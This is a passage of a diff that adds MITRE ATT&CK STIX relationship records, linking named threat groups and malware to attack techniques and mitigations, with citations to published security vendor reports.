Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fa224c64-2157-4c2f-9f9c-451a3923cc42", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "The [Deep Panda](https://attack.mitre.org/groups/G0009) group is known to utilize WMI for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--d295beee-439c-44f9-9908-4cb194331de9", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256", + "source_ref": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da", + "modified": "2019-07-24T19:30:10.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has injected SMB URLs into malicious Word spearphishing attachments to initiate [Forced Authentication](https://attack.mitre.org/techniques/T1187).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2344234d-d1e3-433f-a43b-0225b4e4889c", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5744b31d-6633-44ca-8170-17489fec124c", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) leveraged the DDE protocol to deliver their malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f7a4bc28-8f50-4e9e-9986-b71f21528967", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.613Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--89363ca8-1cf3-4c40-972c-6e2787a05b43", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--2083aef8-4d72-4bef-8cbc-33f2c5f4a176", + "source_ref": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145", + "modified": "2019-07-24T19:20:50.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain system information such as OS version and disk space.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ad39bd23-1dd8-4725-bf00-74c0e564215f", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has sent spearphishing attachments attempting to get a user to open them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--47415b89-a254-49a8-95c4-7efae85cac2c", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used net user to conduct internal discovery of systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b2dbbb46-9659-4277-8753-c469c4bfe409", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[APT3](https://attack.mitre.org/groups/G0022) enables the Remote Desktop Protocol for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d2858dfa-504f-416d-8801-41a1a9561f22", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can perform keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f367b2fc-ea76-4fd4-9b90-049d95b4bc08", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.092Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) accessed email accounts using Outlook Web Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0bd48ff5-c1f7-48f4-8057-aad487b25575", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used automated collection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a24299ed-9735-453c-bd13-66269b2d5d16", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Group5](https://attack.mitre.org/groups/G0043) C2 servers communicated with malware over TCP 8081, 8282, and 8083.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--05604d66-735a-4369-bc31-c7915bb3f2e0", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Elise](https://attack.mitre.org/software/S0081) exfiltrates data using cookie values that are Base64-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c667befa-7242-47f8-bdc1-1056f62bb466", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cae6bbd0-d00e-4cc4-872a-d3ac9cc97684", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can execute ipconfig on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e4e9f93d-ae64-4f75-b12b-acbb45c31c41", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80", + "source_ref": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc", + "modified": "2019-07-24T19:12:03.011Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) will identify Microsoft Office documents on the victim's computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.238Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ebed8156-bce1-4710-bd99-7cdcfa887d28", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyDelta-Two contains a function that attempts to rename the administrator\u2019s account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--2325c0b2-fb89-44e1-9206-e495811f2907", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.601Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has delivered [JHUHUGIT](https://attack.mitre.org/software/S0044) and [Koadic](https://attack.mitre.org/software/S0250) by executing PowerShell commands through DDE in Word documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.", + "source_name": "McAfee APT28 DDE1 Nov 2017", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/" + }, + { + "description": "Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.", + "source_name": "McAfee APT28 DDE2 Nov 2017", + "url": "http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6", + "source_ref": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100", + "modified": "2019-07-24T19:08:19.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--918956f2-db79-4721-8741-3b461a280e51", + "source_ref": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", + "modified": "2019-07-24T19:45:55.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "A [Dipsind](https://attack.mitre.org/software/S0200) variant uses a C2 mechanism similar to port knocking that allows attackers to connect to a victim without leaving the connection open for more than a few sectonds.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--da037327-5478-4fa0-aed0-d9b4da4a4e4a", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--301de16e-3829-4fb0-b217-dcdfca7398c9", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has saved files with hidden file attributes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--08fd666f-684f-4e78-876a-48cb92572c3a", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": 